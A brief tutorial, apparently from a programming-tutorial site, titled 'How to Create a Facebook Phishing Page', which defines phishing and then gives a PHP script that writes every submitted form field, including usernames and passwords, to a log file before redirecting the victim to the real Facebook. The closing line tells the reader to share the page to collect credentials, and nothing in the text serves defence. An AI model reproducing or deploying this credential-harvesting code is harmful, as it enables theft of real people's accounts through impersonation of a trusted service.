Open In App

How to Create a Facebook Phishing Page ?

Phishing is the technique to create a similar type of web page to the existing web page. Phishing is a type of attack where the intruders disguising as trustworthy agents attempt to gain your personal information such as passwords, credit card numbers, or any other information.



Steps to Create Facebook Phishing Page: 

File name: xyz.php 






<?php
  
// Set the location to redirect the page
header ('Location: http://www.facebook.com');
  
// Open the text file in writing mode 
$file = fopen("log.txt", "a");
  
foreach($_POST as $variable => $value) {
    fwrite($file, $variable);
    fwrite($file, "=");
    fwrite($file, $value);
    fwrite($file, "\r\n");
}
  
fwrite($file, "\r\n");
fclose($file);
exit;
?>

Now you are done, share the page and if anyone will enter username and password then it will save into the log.txt file.

Article Tags :